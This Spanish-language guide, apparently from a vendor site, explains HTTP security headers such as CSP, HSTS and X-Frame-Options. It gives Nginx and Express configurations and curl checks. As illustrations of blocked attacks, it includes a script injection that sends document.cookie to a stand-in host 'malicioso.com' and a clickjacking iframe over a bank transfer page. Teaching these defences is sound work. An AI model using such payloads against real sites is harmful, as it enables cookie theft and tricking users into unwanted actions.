HTTP Security Headers

Aprende qué son los HTTP security headers y cómo protegen sitios web contra XSS, clickjacking, MIME sniffing y ataques de degradación de protocolo. Explora CSP, HSTS, X-Frame-Options, Referrer-Policy, Permissions-Policy y buenas prácticas de implementación.

HTTP security headers son headers de respuesta que instruyen a los navegadores a activar protecciones de seguridad integradas. Headers como Content-Security-Policy, X-Frame-Options y Strict-Transport-Security defienden contra ataques XSS, clickjacking y degradación de protocolo al imponer políticas de seguridad a nivel del navegador.

Cómo Funcionan los HTTP Security Headers

Los security headers son enviados por el servidor en las respuestas HTTP antes del contenido de la página. Los navegadores analizan estos headers y activan mecanismos de seguridad correspondientes antes de renderizar la página, creando una capa defensiva que opera independientemente del código de la aplicación.

┌──────────────────────────────────────────────────────────────────────┐
│ Flujo de Security Header │
│ │
│ Servidor │
│ │ │
│ │ HTTP/1.1 200 OK │
│ │ Content-Security-Policy: default-src 'self' │
│ │ X-Frame-Options: DENY │
│ │ Strict-Transport-Security: max-age=31536000 │
│ │ X-Content-Type-Options: nosniff │
│ │ Referrer-Policy: strict-origin-when-cross-origin │
│ │ Permissions-Policy: geolocation=() │
│ │ │
│ ▼ │
│ Navegador ──▶ Analiza headers ──▶ Activa protecciones ──▶ Renderiza │
│ │
└──────────────────────────────────────────────────────────────────────┘

Headers de Seguridad Esenciales

1. Content-Security-Policy (CSP)

Controla qué recursos puede cargar el navegador, previniendo ataques XSS e inyección de datos.

DirectivaPropósitoEjemplo
default-srcFallback para otras directivas'self'
script-srcFuentes válidas de JavaScript'self' 'unsafe-inline'
style-srcFuentes válidas de CSS'self' 'unsafe-inline'
img-srcFuentes válidas de imágenes'self' data: https:
connect-srcEndpoints válidos para AJAX/WebSocket'self' api.ejemplo.com
font-srcFuentes válidas de fuentes'self' fonts.gstatic.com
frame-srcFuentes válidas de iframes'self'
object-srcFuentes válidas de plugins'none'

Configuración CSP básica:

Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' https://cdn.ejemplo.com; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; font-src 'self' https://fonts.gstatic.com; connect-src 'self' https://api.ejemplo.com; frame-ancestors 'none'; base-uri 'self'; form-action 'self'

CSP con nonce para scripts inline:

Content-Security-Policy: script-src 'self' 'nonce-abc123def456'
<script nonce="abc123def456">
// Este script inline está permitido
console.log('Script inline seguro');
</script>

Ataque prevenido:

<!-- Atacante inyecta esto - BLOQUEADO por CSP -->
<script>
fetch('https://malicioso.com/robar?cookie=' + document.cookie);
</script>

2. Strict-Transport-Security (HSTS)

Fuerza a los navegadores a usar HTTPS para todas las solicitudes futuras al dominio, previniendo ataques de degradación de protocolo.

DirectivaPropósitoEjemplo
max-ageDuración en segundos31536000 (1 año)
includeSubDomainsAplicar a todos los subdominiosOpcional
preloadEnviar a listas de preload de navegadoresOpcional

HSTS básico:

Strict-Transport-Security: max-age=31536000

HSTS con subdominios y preload:

Strict-Transport-Security: max-age=63072000; includeSubDomains; preload

Ataque prevenido:

Sin HSTS:
Usuario escribe: ejemplo.com
Navegador intenta: http://ejemplo.com (vulnerable a MITM)
Atacante intercepta, roba credenciales
Con HSTS:
Usuario escribe: ejemplo.com
Navegador fuerza: https://ejemplo.com (seguro)
Atacante no puede interceptar

3. X-Frame-Options

Impide que la página sea incrustada en iframes en otros dominios, bloqueando ataques de clickjacking.

ValorEfecto
DENYBloquea todo framing
SAMEORIGINPermite solo framing del mismo origen
ALLOW-FROM originPermite origen específico (descontinuado)

Configuración recomendada:

X-Frame-Options: DENY

O usar CSP frame-ancestors (enfoque moderno):

Content-Security-Policy: frame-ancestors 'none'

Ataque prevenido:

<!-- Sitio del atacante malicioso.com -->
<iframe src="https://banco.ejemplo.com/transferir" style="opacity: 0.1">
<button style="position: absolute; top: 100px;">¡Gana Premio!</button>
</iframe>
<!-- Usuario hace clic en "¡Gana Premio!" pero en realidad hace clic en botón de transferencia -->
<!-- BLOQUEADO: Página del banco no puede ser enmarcada en malicioso.com -->

4. X-Content-Type-Options

Impide a los navegadores hacer MIME-sniffing de respuestas diferentes al content-type declarado, bloqueando uploads maliciosos.

X-Content-Type-Options: nosniff

Ataque prevenido:

Sin nosniff:
1. Atacante sube "imagen.jpg" conteniendo JavaScript
2. Servidor sirve con Content-Type: image/jpeg
3. Navegador analiza contenido, detecta JavaScript
4. Navegador ejecuta como script → XSS
Con nosniff:
1. Navegador respeta Content-Type: image/jpeg
2. Rehúsa ejecutar como script
3. Ataque bloqueado

5. Referrer-Policy

Controla cuánta información de referrer se envía con las solicitudes.

ValorComportamiento
no-referrerNunca enviar referrer
no-referrer-when-downgradeSin referrer en HTTPS→HTTP
originEnvía solo origen (no URL completa)
origin-when-cross-originURL completa same-origin, origen cross-origin
same-originReferrer solo para same-origin
strict-originSolo origen, sin referrer en downgrade
strict-origin-when-cross-originPredeterminado recomendado

Configuración recomendada:

Referrer-Policy: strict-origin-when-cross-origin

6. Permissions-Policy (antes Feature-Policy)

Controla qué features y APIs del navegador puede usar la página.

Políticas comunes:

Permissions-Policy: geolocation=(), microphone=(), camera=(), payment=(), usb=(), magnetometer=(), gyroscope=(), accelerometer=()

Permitir orígenes específicos:

Permissions-Policy: geolocation=(self "https://maps.ejemplo.com"), camera=()

7. Cross-Origin Policies

Headers modernos para controlar uso compartido de recursos cross-origin.

Cross-Origin-Opener-Policy (COOP):

Cross-Origin-Opener-Policy: same-origin

Aísla contexto de navegación, previene referencias de ventana cross-origin.

Cross-Origin-Embedder-Policy (COEP):

Cross-Origin-Embedder-Policy: require-corp

Requiere permiso explícito para carga de recursos cross-origin.

Caso de uso: Habilitar SharedArrayBuffer:

Cross-Origin-Opener-Policy: same-origin
Cross-Origin-Embedder-Policy: require-corp

Comparación de Security Headers

HeaderAtaque PrevenidoSoporte NavegadorPrioridad
Content-Security-PolicyXSS, inyecciónTodos modernosCrítica
Strict-Transport-SecurityMITM, downgradeTodos modernosCrítica
X-Frame-OptionsClickjackingTodosAlta
X-Content-Type-OptionsMIME sniffingTodosAlta
Referrer-PolicyFuga de datosTodos modernosMedia
Permissions-PolicyAbuso de featuresNavegadores modernosMedia
Cross-Origin-*Ataques side-channelNavegadores modernosAvanzado

Ejemplos de Implementación

Nginx

server {
listen 443 ssl http2;
server_name ejemplo.com;
# HSTS
add_header Strict-Transport-Security "max-age=63072000; includeSubDomains; preload" always;
# Content Security Policy
add_header Content-Security-Policy "default-src 'self'; script-src 'self' 'unsafe-inline' https://cdn.ejemplo.com; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; font-src 'self' https://fonts.gstatic.com; connect-src 'self'; frame-ancestors 'none'; base-uri 'self'; form-action 'self'" always;
# Frame protection
add_header X-Frame-Options "DENY" always;
# MIME sniffing protection
add_header X-Content-Type-Options "nosniff" always;
# Referrer policy
add_header Referrer-Policy "strict-origin-when-cross-origin" always;
# Permissions policy
add_header Permissions-Policy "geolocation=(), microphone=(), camera=()" always;
}

Express.js

const helmet = require('helmet');
app.use(helmet());
// O configurar individualmente
app.use(
helmet.contentSecurityPolicy({
directives: {
defaultSrc: ["'self'"],
scriptSrc: ["'self'", "'unsafe-inline'", "https://cdn.ejemplo.com"],
styleSrc: ["'self'", "'unsafe-inline'"],
imgSrc: ["'self'", "data:", "https:"],
connectSrc: ["'self'"],
fontSrc: ["'self'", "https://fonts.gstatic.com"],
objectSrc: ["'none'"],
frameAncestors: ["'none'"],
baseUri: ["'self'"],
formAction: ["'self'"]
}
})
);

Probando Security Headers

Herramientas Online

HerramientaURL
Security Headerssecurityheaders.com
Mozilla Observatoryobservatory.mozilla.org
Hardenizehardenize.com

Línea de Comandos

Terminal window
# Verificar headers con curl
curl -I https://ejemplo.com
# Verificar header específico
curl -sI https://ejemplo.com | grep -i "content-security-policy"
# Verificar todos los security headers
curl -sI https://ejemplo.com | grep -iE "(strict-transport|x-frame|x-content|referrer-policy|permissions-policy|content-security)"

Errores Comunes

ErrorImpactoCorrección
CSP ausenteVulnerabilidad XSSImplementar CSP estricto
CSP con unsafe-inline scriptsProtección XSS reducidaUsar nonces o hashes
HSTS max-age cortoProtección expiraUsar mínimo 1 año
HSTS sin subdominiosAtaques de downgrade en subdominiosAgregar includeSubDomains
Usar X-Frame-Options: ALLOW-FROMDescontinuado, no confiableUsar DENY o CSP frame-ancestors
CSP muy permisivoProtección limitadaUsar 'self' en lugar de *

FAQ

¿Cuál es la diferencia entre X-Frame-Options y CSP frame-ancestors? X-Frame-Options es más antiguo y solo soporta DENY o SAMEORIGIN. CSP frame-ancestors es más flexible, permitiendo orígenes específicos. Usa CSP para nuevos proyectos, pero mantén ambos para compatibilidad.

¿Por qué CSP usa 'unsafe-inline' y es seguro? 'unsafe-inline' permite scripts/estilos inline, lo que debilita la protección XSS. Usa nonces o hashes en producción. Solo usa 'unsafe-inline' durante migración o cuando nonces no son viables.

¿Cómo probar CSP sin romper mi sitio? Usa el header Content-Security-Policy-Report-Only para registrar violaciones sin bloquear:

Content-Security-Policy-Report-Only: default-src 'self'; report-uri /csp-reports

¿Los security headers previenen todos los ataques XSS? No. CSP reduce significativamente el riesgo de XSS pero no puede prevenir XSS basado en DOM de scripts del mismo origen. Combina con output encoding y validación de input.

¿Los security headers afectan el rendimiento? Impacto mínimo. HSTS ahorra tiempo de redirect. CSP puede bloquear algunos recursos, que es el comportamiento esperado. Los headers añaden ~500 bytes a las respuestas.


Cómo Implementar en Azion

La Edge Application de Azion permite configurar security headers globalmente en el edge:

  1. Edge Application → Rules Engine - Agregar security headers a todas las respuestas
  2. Response Headers - Configurar CSP, HSTS, X-Frame-Options en las Rules
  3. Edge Functions - Generación dinámica de nonce CSP para scripts inline

Ver: Rules Engine | Functions

mantente actualizado

Suscríbete a nuestro boletín informativo

Recibe las últimas actualizaciones de productos, destacados de eventos y conocimientos de la industria tecnológica directamente en tu bandeja de entrada.